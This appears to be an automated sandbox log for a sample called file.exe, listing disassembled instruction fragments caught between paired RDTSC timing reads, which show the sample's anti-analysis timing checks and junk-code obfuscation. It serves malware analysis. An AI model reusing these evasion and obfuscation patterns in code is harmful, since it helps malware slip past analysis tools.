Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCB6A second address: 8CCB8A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC6C5B27A18h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FC6C5B27A22h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E123C second address: 8E1250 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B2713Ah 0x00000007 jnl 00007FC6C5B27136h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1250 second address: 8E125C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007FC6C5B27A16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E125C second address: 8E1262 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E02F2 second address: 8E02F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E02F6 second address: 8E02FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E02FC second address: 8E0311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6C5B27A21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E05BC second address: 8E05C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E05C6 second address: 8E05CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E05CC second address: 8E05D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0902 second address: 8E0908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0908 second address: 8E090C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0C7D second address: 8E0C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0C86 second address: 8E0C90 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC6C5B27136h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2A5B second address: 8E2A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6C5B27A22h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2A72 second address: 8E2A80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6C5B2713Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B704D2 second address: 4B704EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B704EF second address: 4B7050C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27149h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7050C second address: 4B70512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70512 second address: 4B70516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70516 second address: 4B7051A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7051A second address: 4B7053A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC6C5B27145h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8000C second address: 4B80027 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6C5B27A27h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80027 second address: 4B80067 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27149h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 0ED7E0A7h 0x00000010 pushad 0x00000011 movsx edi, ax 0x00000014 call 00007FC6C5B27146h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80067 second address: 4B800E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 add dword ptr [esp], 66863B81h 0x0000000d jmp 00007FC6C5B27A27h 0x00000012 call 00007FC73651B97Dh 0x00000017 push 755727D0h 0x0000001c push dword ptr fs:[00000000h] 0x00000023 mov eax, dword ptr [esp+10h] 0x00000027 mov dword ptr [esp+10h], ebp 0x0000002b lea ebp, dword ptr [esp+10h] 0x0000002f sub esp, eax 0x00000031 push ebx 0x00000032 push esi 0x00000033 push edi 0x00000034 mov eax, dword ptr [75600140h] 0x00000039 xor dword ptr [ebp-04h], eax 0x0000003c xor eax, ebp 0x0000003e push eax 0x0000003f mov dword ptr [ebp-18h], esp 0x00000042 push dword ptr [ebp-08h] 0x00000045 mov eax, dword ptr [ebp-04h] 0x00000048 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004f mov dword ptr [ebp-08h], eax 0x00000052 lea eax, dword ptr [ebp-10h] 0x00000055 mov dword ptr fs:[00000000h], eax 0x0000005b ret 0x0000005c jmp 00007FC6C5B27A26h 0x00000061 and dword ptr [ebp-04h], 00000000h 0x00000065 jmp 00007FC6C5B27A20h 0x0000006a mov edx, dword ptr [ebp+0Ch] 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 call 00007FC6C5B27A1Dh 0x00000075 pop esi 0x00000076 call 00007FC6C5B27A21h 0x0000007b pop esi 0x0000007c popad 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B800E1 second address: 4B8010A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B2713Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007FC6C5B2713Dh 0x00000013 pop eax 0x00000014 mov ax, bx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8010A second address: 4B80133 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edx] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC6C5B27A27h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80133 second address: 4B80139 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80139 second address: 4B8013D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8013D second address: 4B8014C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8014C second address: 4B80150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80150 second address: 4B80168 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27144h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80168 second address: 4B80133 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 0EE4h 0x00000007 mov edi, 55FE3550h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f test al, al 0x00000011 jmp 00007FC6C5B27A1Fh 0x00000016 jne 00007FC6C5B279A0h 0x0000001c mov al, byte ptr [edx] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FC6C5B27A27h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B801A5 second address: 4B801AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B801AB second address: 4B801AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B801AF second address: 4B801B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B801B3 second address: 4B801CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub edx, esi 0x0000000a pushad 0x0000000b mov al, bl 0x0000000d popad 0x0000000e mov edi, dword ptr [ebp+08h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B801CA second address: 4B801CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B801CE second address: 4B801D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B801D2 second address: 4B801D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B801D8 second address: 4B80294 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ebx 0x00000005 mov ebx, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a dec edi 0x0000000b jmp 00007FC6C5B27A20h 0x00000010 lea ebx, dword ptr [edi+01h] 0x00000013 pushad 0x00000014 push esi 0x00000015 jmp 00007FC6C5B27A1Dh 0x0000001a pop esi 0x0000001b pushfd 0x0000001c jmp 00007FC6C5B27A21h 0x00000021 jmp 00007FC6C5B27A1Bh 0x00000026 popfd 0x00000027 popad 0x00000028 mov al, byte ptr [edi+01h] 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FC6C5B27A24h 0x00000032 add esi, 60E05A48h 0x00000038 jmp 00007FC6C5B27A1Bh 0x0000003d popfd 0x0000003e pushad 0x0000003f jmp 00007FC6C5B27A26h 0x00000044 call 00007FC6C5B27A22h 0x00000049 pop esi 0x0000004a popad 0x0000004b popad 0x0000004c inc edi 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FC6C5B27A23h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80294 second address: 4B802B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27149h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B802B1 second address: 4B8034A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC6C5B27A27h 0x00000009 adc ch, FFFFFFAEh 0x0000000c jmp 00007FC6C5B27A29h 0x00000011 popfd 0x00000012 push eax 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test al, al 0x00000019 jmp 00007FC6C5B27A1Ah 0x0000001e jne 00007FC73651019Bh 0x00000024 pushad 0x00000025 pushad 0x00000026 jmp 00007FC6C5B27A1Ch 0x0000002b pushfd 0x0000002c jmp 00007FC6C5B27A22h 0x00000031 and ecx, 5C403888h 0x00000037 jmp 00007FC6C5B27A1Bh 0x0000003c popfd 0x0000003d popad 0x0000003e popad 0x0000003f mov ecx, edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FC6C5B27A21h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8034A second address: 4B803B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, A032h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c shr ecx, 02h 0x0000000f pushad 0x00000010 push ecx 0x00000011 mov ax, dx 0x00000014 pop edx 0x00000015 popad 0x00000016 rep movsd 0x00000018 jmp 00007FC6C5B27146h 0x0000001d mov ecx, edx 0x0000001f pushad 0x00000020 push ecx 0x00000021 pushad 0x00000022 popad 0x00000023 pop edi 0x00000024 mov ch, C3h 0x00000026 popad 0x00000027 and ecx, 03h 0x0000002a jmp 00007FC6C5B2713Bh 0x0000002f rep movsb 0x00000031 rep movsb 0x00000033 jmp 00007FC6C5B27146h 0x00000038 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B803B5 second address: 4B803B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B803B9 second address: 4B803BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B803BF second address: 4B803CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6C5B27A1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B803CE second address: 4B803D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B803D2 second address: 4B803F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC6C5B27A27h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B803F7 second address: 4B80414 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27149h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80414 second address: 4B8041A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8041A second address: 4B8041E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8041E second address: 4B8043D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp-10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC6C5B27A22h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8043D second address: 4B80459 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B2713Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80459 second address: 4B8051E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC6C5B27A28h 0x00000009 sub ax, 6DE8h 0x0000000e jmp 00007FC6C5B27A1Bh 0x00000013 popfd 0x00000014 jmp 00007FC6C5B27A28h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pop ecx 0x0000001d pushad 0x0000001e mov ecx, 3D01E81Dh 0x00000023 pushfd 0x00000024 jmp 00007FC6C5B27A1Ah 0x00000029 xor eax, 782F0B78h 0x0000002f jmp 00007FC6C5B27A1Bh 0x00000034 popfd 0x00000035 popad 0x00000036 pop edi 0x00000037 pushad 0x00000038 mov eax, 56422ACBh 0x0000003d mov edi, ecx 0x0000003f popad 0x00000040 pop esi 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007FC6C5B27A28h 0x00000048 add si, 3508h 0x0000004d jmp 00007FC6C5B27A1Bh 0x00000052 popfd 0x00000053 popad 0x00000054 pop ebx 0x00000055 pushad 0x00000056 mov dh, 4Dh 0x00000058 push esi 0x00000059 jmp 00007FC6C5B27A23h 0x0000005e pop eax 0x0000005f popad 0x00000060 leave 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8051E second address: 4B80522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80522 second address: 4B80526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80526 second address: 4B8052C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8052C second address: 4B8000C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 retn 0008h 0x00000009 nop 0x0000000a cmp byte ptr [004315CEh], 00000000h 0x00000011 jne 00007FC6C5B27A22h 0x00000013 mov word ptr [004315CCh], 0041h 0x0000001c mov byte ptr [004315CEh], 00000001h 0x00000023 push 004315CCh 0x00000028 push edi 0x00000029 call 00007FC6CA2A68ECh 0x0000002e push 00000008h 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov esi, edx 0x00000035 mov di, 794Ah 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6008F second address: 4B60094 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60094 second address: 4B600D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FC6C5B27A1Eh 0x0000000a sbb si, 0BB8h 0x0000000f jmp 00007FC6C5B27A1Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 and esp, FFFFFFF8h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FC6C5B27A20h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B600D2 second address: 4B600D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B600D6 second address: 4B600DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B600DC second address: 4B6010A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B2713Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC6C5B27147h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6010A second address: 4B60110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60110 second address: 4B60114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60114 second address: 4B60148 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [75600140h] 0x00000010 jmp 00007FC6C5B27A26h 0x00000015 xor eax, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60148 second address: 4B6014C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6014C second address: 4B60152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60152 second address: 4B601F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 7A76h 0x00000007 movsx edi, cx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+28h], eax 0x00000011 pushad 0x00000012 mov bx, cx 0x00000015 call 00007FC6C5B27140h 0x0000001a pushfd 0x0000001b jmp 00007FC6C5B27142h 0x00000020 and esi, 47B90EC8h 0x00000026 jmp 00007FC6C5B2713Bh 0x0000002b popfd 0x0000002c pop eax 0x0000002d popad 0x0000002e push esi 0x0000002f jmp 00007FC6C5B27144h 0x00000034 mov dword ptr [esp], ebx 0x00000037 jmp 00007FC6C5B27140h 0x0000003c mov ebx, dword ptr [ebp+0Ch] 0x0000003f jmp 00007FC6C5B27140h 0x00000044 lea eax, dword ptr [esp+08h] 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FC6C5B27147h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B601F6 second address: 4B6021A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6021A second address: 4B6021E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6021E second address: 4B60231 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60231 second address: 4B60272 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27149h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FC6C5B2713Ah 0x00000013 xor ecx, 551FDDD8h 0x00000019 jmp 00007FC6C5B2713Bh 0x0000001e popfd 0x0000001f push ecx 0x00000020 pop edx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60272 second address: 4B602A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FC6C5B27A23h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602A5 second address: 4B602AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602AB second address: 4B602AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602AF second address: 4B602B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602B3 second address: 4B602D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC6C5B27A29h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602D7 second address: 4B602DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602DD second address: 4B602E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
